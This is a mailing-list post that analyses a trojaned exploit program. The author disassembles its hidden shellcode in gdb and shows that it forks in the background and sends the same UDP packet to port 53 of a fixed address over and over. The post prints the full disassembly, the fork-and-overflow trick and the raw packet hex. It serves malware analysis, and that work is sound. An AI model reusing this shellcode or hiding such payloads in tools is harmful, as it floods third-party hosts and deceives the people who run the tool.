i just saw the other post...but i figure perhaps someone else is
interested in this disassembly..heh

basically i looked over the source, and made a function to dump the
shellcode in char shellcode[] format, and exit(1) before running the
bad code, and then compiled that with -g and stepped through it a bit to
figure out what wasnt apparent from the disassemble shellcode output from
gdb

in the main() function we see
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
BIND_OFF_02 is equal to 1028 which is the offset variable below

in the set_ptr function, there is a bit of code
if (s)
                if (!fork())
                        /* simply copy value to offset */
                        memcpy(&copy_buff[offset], &val, sizeof(val));
so basically it forks and then overflows the stack, executing the
shellcode in the background...the shellcode is pretty cool, there is a bit
of jumping into odd offset instructions to make it a bit harder to
disassemble (i assume)

so into the shellcode:

Dump of assembler code for function shellcode:
0x8049400 <shellcode>: xor %eax,%eax
0x8049402 <shellcode+2>: dec %eax
0x8049403 <shellcode+3>: push %eax
0x8049404 <shellcode+4>: push %eax
0x8049405 <shellcode+5>: xor %ebx,%ebx
0x8049407 <shellcode+7>: lea 0xd,%eax
0xd = 13 = time()
0x804940d <shellcode+13>: int $0x80
0x804940f <shellcode+15>: add $0x8,%esp
0x8049412 <shellcode+18>: cmp $0x1020304,%eax
time() wont return a value less than that from a while back until never
heh
0x8049417 <shellcode+23>: jl 0x804941e <shellcode+30>
0x8049419 <shellcode+25>: call 0x8049433 <shellcode+51>
0x804941e <shellcode+30>: call 0x80494a3 <shellcode+163>
0x8049423 <shellcode+35>: call 0x564bdd7b
0x8049428 <shellcode+40>: inc %ecx
0x8049429 <shellcode+41>: push %esp
0x804942a <shellcode+42>: push %ebp
0x804942b <shellcode+43>: push %edx
0x804942c <shellcode+44>: inc %ebp
0x804942d <shellcode+45>: call 0x845e784
0x8049432 <shellcode+50>: add %ch,%bl
shellcode+51 is a jmp to shellcode+105
0x8049434 <shellcode+52>: xor $0x5e,%al

here we have the code to setup the socket
shellcode+53 is a pop %esi instruction, so the data is at shellcode+110
0x8049436 <shellcode+54>: mov $0x1,%ebx
SYS_SOCKET
0x804943b <shellcode+59>: mov %esi,%ecx
0x804943d <shellcode+61>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x8049442 <shellcode+66>: int $0x80
0x8049444 <shellcode+68>: mov %eax,0x14(%esi)
0x8049447 <shellcode+71>: lea 0x30(%esi),%eax
0x804944a <shellcode+74>: mov %eax,0x18(%esi)
0x804944d <shellcode+77>: xor %eax,%eax
0x804944f <shellcode+79>: mov %eax,0x20(%esi)
0x8049452 <shellcode+82>: lea 0xc(%esi),%eax
0x8049455 <shellcode+85>: mov %eax,0x24(%esi)

here we have the main_loop, just keeps on spamming out that same packet
0x8049458 <shellcode+88>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x804945d <shellcode+93>: mov $0xb,%ebx
SYS_SENDTO
0x8049462 <shellcode+98>: lea 0x14(%esi),%ecx
0x8049465 <shellcode+101>: int $0x80
0x8049467 <shellcode+103>: jmp 0x8049458 <shellcode+88>

0x8049469 <shellcode+105>: call 0x8049435 <shellcode+53>

shellcode+110 is all data

i let one of the sendto's execute in gdb and sniffed the packet:

13:15:50.336361 10.0.0.5.32795 > 161.69.3.150.53: 12147 updateMA [14174a]
[235q] [27153n] [27138au] (1024) (DF)
                         4500 041c 0000 4000 4011 87f1 0a00 0005
                         a145 0396 801b 0035 0408 efdd 2f73 6800
                         00eb 375e 6a11 6a02 6a02 6a66 8d05 6100
                         0000 cd80 89c2

galt

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]